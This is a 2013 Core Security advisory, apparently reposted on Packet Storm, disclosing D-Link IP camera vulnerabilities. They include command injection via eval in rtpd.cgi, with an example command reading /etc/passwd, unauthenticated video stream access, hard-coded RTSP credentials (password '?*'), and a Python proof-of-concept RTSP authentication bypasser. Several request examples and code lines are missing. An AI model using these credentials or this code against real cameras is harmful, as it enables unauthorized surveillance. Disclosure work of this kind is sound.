D-Link IP Cameras Injection / Bypass

Type packetstorm
Reporter Core Security Technologies
Modified 2013-04-29T00:00:00


                                            `Core Security - Corelabs Advisory  
D-Link IP Cameras Multiple Vulnerabilities  
1. *Advisory Information*  
Title: D-Link IP Cameras Multiple Vulnerabilities  
Advisory ID: CORE-2013-0303  
Advisory URL:  
Date published: 2013-04-29  
Date of last update: 2013-03-29  
Vendors contacted: D-Link Corporation  
Release mode: Coordinated release  
2. *Vulnerability Information*  
Class: OS command injection [CWE-78], Authentication issues [CWE-287],  
Information leak through GET request [CWE-598], Authentication issues  
[CWE-287], Use of hard-coded credentials [CWE-798]  
Impact: Code execution, Security bypass  
Remotely Exploitable: Yes  
Locally Exploitable: No  
CVE Name: CVE-2013-1599, CVE-2013-1600, CVE-2013-1601, CVE-2013-1602,  
3. *Vulnerability Description*  
Multiple vulnerabilities have been found in D-Link IP cameras [1] that  
could allow an unauthenticated remote attacker:  
1. [CVE-2013-1599] to execute arbitrary commands from the  
administration web interface,  
2. [CVE-2013-1600] to access the video stream via HTTP,  
3. [CVE-2013-1601] to access the ASCII video stream via image luminance,  
4. [CVE-2013-1602] to access the video stream via RTSP,  
5. [CVE-2013-1603] to bypass RTSP authentication using hard-coded  
4. *Vulnerable Packages*  
The following is the list of affected devices and the associated  
firmware (confirmed by D-Link). Other SKUs are probably affected too,  
but they were not checked.  
. DCS-3411/3430 - firmware v1.02  
. DCS-5605/5635 - v1.01  
. DCS-1100L/1130L - v1.04  
. DCS-1100/1130 - v1.03  
. DCS-1100/1130 - v1.04_US  
. DCS-2102/2121 - v1.05_RU  
. DCS-3410 - v1.02  
. DCS-5230 - v1.02  
. DCS-5230L - v1.02  
. DCS-6410 - v1.00  
. DCS-7410 - v1.00  
. DCS-7510 - v1.00  
. WCS-1100 - v1.02  
. DCS-2102/2121 - v1.05_RU  
. DCS-2102/2121 - v1.06  
. DCS-2102/2121 - v1.06_FR  
. TESCO DCS-2102/2121 - v1.05_TESCO  
[CVE-2013-1601] and [CVE-2013-1603]  
. DCS-3411/3430 - v1.02  
. DCS-5605/5635 - v1.01  
. DCS-1100L/1130L - v1.04  
. DCS-1100/1130 - v1.03  
. DCS-1100/1130 - v1.04_US  
. DCS-2102/2121 - v1.05_RU  
. DCS-2102/2121 - v1.06  
. DCS-2102/2121 - v1.06_FR  
. TESCO DCS-2102/2121 - v1.05_TESCO  
. DCS-3410 - v1.02  
. DCS-5230 - v1.02  
. DCS-5230L - v1.02  
. DCS-6410 - v1.00  
. DCS-7410 - v1.00  
. DCS-7510 - v1.00  
. WCS-1100 - v1.02  
. ALL mentioned devices and firmware.  
5. *Vendor Information, Solutions and Workarounds*  
D-Link announces that all patches are ready and scheduled for posting on  
corporate web site for all customers [2013-04-25]. Contact D-Link for  
further information.  
6. *Credits*  
[CVE-2013-1599], [CVE-2013-1600] and [CVE-2013-1601] were discovered and  
researched by Francisco Falcon and Nahuel Riva from Core Exploit Writers  
[CVE-2013-1602] was discovered and researched by Martin Rocha from Core  
Impact Pro Team. The PoC was made by Martin Rocha with help of Juan  
Cotta from Core QA Team.  
[CVE-2013-1603] was discovered and researched by Pablo Santamaria from  
Core Security Consulting Services.  
The publication of this advisory was coordinated by Fernando Miranda  
from Core Advisories Team.  
7. *Technical Description / Proof of Concept Code*  
7.1. *OS Command Injection*  
[CVE-2013-1599] A security issue located in '/var/www/cgi-bin/rtpd.cgi'  
allows an unauthenticated remote attacker to execute arbitrary commands  
through the camera's web interface. The OS command injection is due to  
this code in 'rtpd.cgi':  
echo "$QUERY_STRING" | grep -vq ' ' || die "query string cannot contain  
. $conf > /dev/null 2> /dev/null  
eval "$(echo $QUERY_STRING | sed -e 's/&/ /g')"  
The first line of this snippet basically ensures that there are no  
spaces in '$QUERY_STRING'. The last line uses 'sed' to replace  
ampersands '&' with spaces, and then call to the function 'eval()',  
resulting in a typical command injection. For example, in order to execute:  
uname -a;cat /etc/passwd  
the following request can be sent to the camera web interface:  
7.2. *Authentication Bypass*  
[CVE-2013-1600] The live video stream can be accessed without  
authentication by a remote attacker via the following request:  
7.3. *ASCII Video Stream Information Leak*  
[CVE-2013-1601] An ASCII output (the image luminance) of the live video  
stream can be accessed by a remote unauthenticated attacker via:  
The following example is the output of a coffee pot video stream [2]:  
O O O O O O O O O O O O O O O O O O O O O O O O O O o o o o o o o o o o o o  
O O O O O O O O O O O O O O O O O O O O o o o O O O o o o o o o o o o o o o  
O O O O O O O O O O O O O O O O O O . . . o O O o o o o o o o o o o o  
O O O O O O O O O O O O o o O O o . . o o o o o o o o o o o o o o  
O O O O O O O O O O O O o o o o . . . . . . o o o o o o o  
O O O O O O O O O O o . o O O o . o o o o o o  
O O O O O O O O O . . o o o o o o  
O O O O O O O O . . o o o o o o o o  
O O O O O O O . . o O O o . . o o o o o o o o o  
O O O O O O o . O O O O O O . o o o o o o o o o  
O O O O O O . O O O O O O O . . . . . o o o o o o o o o  
O O O O O O o O O O O O O O . . . o . . . o o o o o o o o  
O O O O O O o O O O O O O O . . . o o o . . . . . . . o o o o o o o o  
O O O O O O o O O O O O O o . o O O o O O . . . . . . . . o o o o o o o  
O O O O O O . o O O O O O O o . O O O o O O . . . . . . . . . o o o o o o  
O O O O O O . . O O O O O o . . O O o o O O o . . . . . . . . o o o o o o  
O O O O O O o O O O O O o . o O O o o O O o . . . . . . . . . o o o o o  
O O O O O O O O O O O O . . o O O o o O O o . . . . . . . . . o o o o o  
O O O O O O O . o O O O o . o o o O o o O O o . . . . . . . . . . o o o o  
O O O O O O O o . O O O o . o o o O o o O O o . . . . . . . . . . o o o o  
O O O O O O O O . O O O . . o o o O o o O O o . . . . . . . . . . o o o o  
O O O O O O O O O O O . . o o o O o o O O o . . . . . . . . . . . o o o  
O O O O O O O O o o O o o o o o O o o o O o . . . . . . . . . . . o o o  
O O O O O O O O O . O o o o o o O o . o O o . . . . . . . . . . . . o o  
O O O O O O O O O . O o . o o o o O . . o O o . . . . . . . . . . . . . o  
O O O O O O O O O o o . . o o o o o . . o O o . . . . . . . . . . . o  
O O O O O O O O O O . . . o o o . o . . o O o . . . . . .  
o O O O O O O O O O . . o o o . o . . . O o . . .   
o o O O O O O O O O o . o o o . o . . . O o . .   
o o o O O O O O O O o . o o o . o . . . O o .   
7.4. *RTSP Authentication Bypass*  
[CVE-2013-1602] This vulnerability is triggered because:  
1. Authentication is only present in DESCRIBE requests but not in  
every subsequent request.  
2. When the RTSP session is being established, the authentication  
request of current session is ignored (a previously stored response is  
used instead).  
As a result, the video stream can be accessed by an unauthenticated  
remote attacker.  
import sys  
from socket import *  
from threading import Thread  
import time, re  
def log(s):  
print '(%s) %s' % (time.ctime(), s)  
class UDPRequestHandler(Thread):  
def __init__(self, data_to_send, recv_addr, dst_addr):  
self.data_to_send = data_to_send  
self.recv_addr = recv_addr  
self.dst_addr = dst_addr  
def run(self):  
sender = socket(AF_INET, SOCK_DGRAM)  
sender.setsockopt(SOL_SOCKET, SO_REUSEADDR, 1)  
sender.sendto(self.data_to_send, self.dst_addr)  
response = sender.recv(1024)  
sender.sendto(response, self.recv_addr)  
class UDPDispatcher(Thread):  
dispatchers = []  
def __has_dispatcher_for(self, port):  
return any([d.src_port == port for d in UDPDispatcher.dispatchers])  
def __init__(self, src_port, dst_addr):  
if self.__has_dispatcher_for(src_port):  
raise Exception('There is already a dispatcher for port %d'  
% src_port)  
self.src_port = src_port  
self.dst_addr = dst_addr  
def run(self):  
listener = socket(AF_INET, SOCK_DGRAM)  
listener.setsockopt(SOL_SOCKET, SO_REUSEADDR, 1)  
listener.bind(('', self.src_port))  
while 1:  
data, recv_addr = listener.recvfrom(1024)  
if not data: break  
UDPRequestHandler(data, recv_addr, self.dst_addr).start()  
except Exception as e:  
print e  
UDPDispatcher.dispatchers.remove( self )  
class PipeThread(Thread):  
pipes = []  
def __init__(self, source, sink, process_data_callback=lambda x: x):  
self.source = source  
self.sink = sink  
self.process_data_callback = process_data_callback  
def run(self):  
while 1:  
data = self.source.recv(1024)  
data = self.process_data_callback(data)  
if not data: break  
self.sink.send( data )  
except Exception as e:  
class TCPTunnel(Thread):  
def __init__(self, src_port, dst_addr, process_data_callback=lambda  
x: x):  
log('[*] Redirecting: localhost:%s -> %s:%s' % (src_port,  
dst_addr[0], dst_addr[1]))  
self.dst_addr = dst_addr  
self.process_data_callback = process_data_callback  
# Create TCP listener socket  
self.sock = socket(AF_INET, SOCK_STREAM)  
self.sock.setsockopt(SOL_SOCKET, SO_REUSEADDR, 1)  
self.sock.bind(('', src_port))  
def run(self):  
while 1:  
# Wait until a new connection arises  
newsock, address = self.sock.accept()  
# Create forwarder socket  
fwd = socket(AF_INET, SOCK_STREAM)  
fwd.setsockopt(SOL_SOCKET, SO_REUSEADDR, 1)  
# Pipe them!  
PipeThread(newsock, fwd, self.process_data_callback).start()  
PipeThread(fwd, newsock, self.process_data_callback).start()  
class Camera():  
def __init__(self, address):  
self.address = address  
def get_describe_data(self):  
return ''  
class DLink(Camera):  
# D-Link DCS-2102/1.06-5731  
def __init__(self, address):  
Camera.__init__(self, address)  
def get_describe_data(self):  
class RTSPAuthByPasser():  
UNAUTHORIZED_RESPONSE = 'RTSP/1.0 401 Unauthorized'  
SERVER_PORT_ARGUMENTS = 'server_port='  
def __init__(self, local_port, camera):  
self.last_describe_req = ''  
self.camera = camera  
self.local_port = local_port  
def start(self):  
log('[!] Starting bypasser')  
TCPTunnel(self.local_port, self.camera.address,  
def spoof_rtsp_conn(self, data):  
if RTSPAuthByPasser.DESCRIBE_REQ_HEADER in data:  
self.last_describe_req = data  
elif RTSPAuthByPasser.UNAUTHORIZED_RESPONSE in data and  
log('[!] Unauthorized response received. Spoofing...')  
spoofed_describe = self.camera.get_describe_data()  
# Look for the request CSeq  
m = re.search('.*CSeq:\\s*(\\d+?)\r\n.*',  
cseq = m.group(1) if m else RTSPAuthByPasser.DEFAULT_CSEQ  
# Create the response  
data = 'RTSP/1.0 200 OK\r\n'  
data+= 'CSeq: %s\r\n' % cseq  
data+= 'Content-Type: application/sdp\r\n'  
data+= 'Content-Length: %d\r\n' % len(spoofed_describe)  
data+= '\r\n'  
# Attach the spoofed describe  
data+= spoofed_describe   
elif RTSPAuthByPasser.SERVER_PORT_ARGUMENTS in data:  
# Look for the server RTP ports  
m = re.search('.*%s\\s*(.+?)[;|\r].*' %  
ports = m.group(1) if m else  
# For each port in the range create a UDP dispatcher  
begin_port, end_port = map(int, ports.split('-'))  
for udp_port in xrange(begin_port, end_port + 1):  
UDPDispatcher(udp_port, (self.camera.address[0],  
return data  
if __name__ == '__main__':  
if len( sys.argv ) > 1:  
listener_port = camera_port = int(sys.argv[1])  
camera_ip = sys.argv[2]  
if len(sys.argv) == 4:  
camera_port = int(sys.argv[3])  
RTSPAuthByPasser(listener_port, DLink((camera_ip,  
print 'usage: python %s [local_port] [camera_ip]  
7.5. *RTSP Hard-Coded Credentials*  
[CVE-2013-1603] RTSP service contains hard-coded credentials that  
effectively serve as a backdoor, which allows remote attackers to access  
the RTSP video stream.  
username: (any)   
password: ?*  
As we can see in the following dump, the submitted password is compared  
with the string ':?*' (the character ':' is used for concatenation of  
'username:password'). This code belongs to the binary 'rtspd':  
.text:00011468 loc_11468 ; Load from Memory  
.text:00011468 LDR R3, [R11,#s2]  
.text:0001146C STR R3, [R11,#var_C0] ; Store to Memory  
.text:00011470 LDR R2, [R11,#var_C0] ; Load from Memory  
.text:00011474 LDR R3, [R11,#var_BC] ; Load from Memory  
.text:00011478 ADD R3, R2, R3 ; Rd = Op1 + Op2  
.text:0001147C SUB R3, R3, #3 ; Rd = Op1 - Op2  
.text:00011480 STR R3, [R11,#var_C0] ; Store to Memory  
.text:00011484 LDR R0, [R11,#var_C0] ; s1  
.text:00011488 LDR R1, =asc_1B060 ; ":?*" <-------  
.text:0001148C MOV R2, #3 ; n  
.text:00011490 BL strncmp ; Branch with Link  
.text:00011494 MOV R3, R0 ; Rd = Op2  
.text:00011498 CMP R3, #0 ; Set cond. codes on Op1 - Op2  
.text:0001149C BNE loc_114BC ; Branch  
8. *Report Timeline*  
. 2013-03-19:  
Core Security Technologies notifies the D-Link team of the vulnerability.  
. 2013-03-20:  
D-Link team asks for a technical description of the vulnerability.  
. 2013-03-20:  
Core sends a draft advisory with technical details and set the estimated  
publication date of the advisory for May 14th, 2013.  
. 2013-03-20:  
Vendor notifies that D-Link Corporation has an unpublished bounty  
program for security advisors. The bounty program requires both Core  
Security and D-Link to sign a memo of understanding (MoU).  
. 2013-03-25:  
Core notifies that receiving money from vendors may bias the view of the  
report and rejects the bounty program.  
. 2013-03-29:  
Vendor notifies that they hope to close the fix ASAP.  
. 2013-04-08:  
Vendor sends the list of vulnerable devices and the associated firmware  
and notifies that they will release patches and release notes on the  
D-Link support forum first. Then, an official public release will be  
announced (approx. 1 month from forum post to full release).  
. 2013-04-24:  
Core asks for a clarification regarding the D-Link release date and  
notifies that releasing fixes to a privileged closed group and/or a  
closed forum or list is unacceptable.  
. 2013-04-25:  
Vendor notifies that the patches are ready and scheduled for posting on  
D-Link web site over the next few days.  
. 2013-04-26:  
Core notifies that the advisory is re-scheduled for Monday 29th.  
. 2013-04-29:  
Advisory CORE-2013-0303 published.  
9. *References*  
[1] http://www.dlink.com/us/en/home-solutions/view/network-cameras.  
10. *About CoreLabs*  
CoreLabs, the research center of Core Security Technologies, is charged  
with anticipating the future needs and requirements for information  
security technologies. We conduct our research in several important  
areas of computer security including system vulnerabilities, cyber  
attack planning and simulation, source code auditing, and cryptography.  
Our results include problem formalization, identification of  
vulnerabilities, novel solutions and prototypes for new technologies.  
CoreLabs regularly publishes security advisories, technical papers,  
project information and shared software tools for public use at:  
11. *About Core Security Technologies*  
Core Security Technologies enables organizations to get ahead of threats  
with security test and measurement solutions that continuously identify  
and demonstrate real-world exposures to their most critical assets. Our  
customers can gain real visibility into their security standing, real  
validation of their security controls, and real metrics to more  
effectively secure their organizations.  
Core Security's software solutions build on over a decade of trusted  
research and leading-edge threat expertise from the company's Security  
Consulting Services, CoreLabs and Engineering groups. Core Security  
Technologies can be reached at +1 (617) 399-6980 or on the Web at:  
12. *Disclaimer*  
The contents of this advisory are copyright (c) 2013 Core Security  
Technologies and (c) 2013 CoreLabs, and are licensed under a Creative  
Commons Attribution Non-Commercial Share-Alike 3.0 (United States)  
License: http://creativecommons.org/licenses/by-nc-sa/3.0/us/  
13. *PGP/GPG Keys*  
This advisory has been signed with the GPG key of Core Security  
Technologies advisories team, which is available for download at